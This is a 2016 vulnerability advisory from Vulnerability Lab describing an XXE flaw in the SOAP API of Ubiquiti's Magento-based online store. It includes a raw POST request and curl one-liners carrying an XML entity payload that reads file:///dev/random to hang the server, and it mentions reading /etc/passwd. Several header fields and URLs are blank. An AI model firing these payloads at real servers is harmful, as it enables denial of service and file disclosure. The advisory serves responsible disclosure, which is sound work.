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Date: Mon, 25 Apr 2016 12:08:06 +0200
From: Vulnerability Lab <>
Subject: UBNT Bug Bounty #2 - XML External Entity Vulnerability

Document Title:
UBNT Bug Bounty #2 - XML External Entity Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of 
wireless products whose primary focus is on under-served and emerging markets.

(Copy of the Homepage: )

Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application.

Vulnerability Disclosure Timeline:
2016-04-14: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Ubiquiti Network
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2

Exploitation Technique:

Severity Level:

Technical Details & Description:
An XML external entities injection vulnerability exists on the soap server hosted on magento script. 
The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.

Proof of Concept (PoC):
The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP 
expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check 
code and no user input is returned. That's not to say there isn't a away to exfiltrate data,

--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "">]>


PoC. Reply
<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="">env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD 
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope

You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.

cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>'

curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>'

For more information on XXE vulnerabilities in PHP in particular, see:

Hadji Samir

i installed the last version ver - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks

curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' http://localhost/magento/index.php/api/
HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Content-Length: 324
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="">SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope

Security Risk:
The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir (  []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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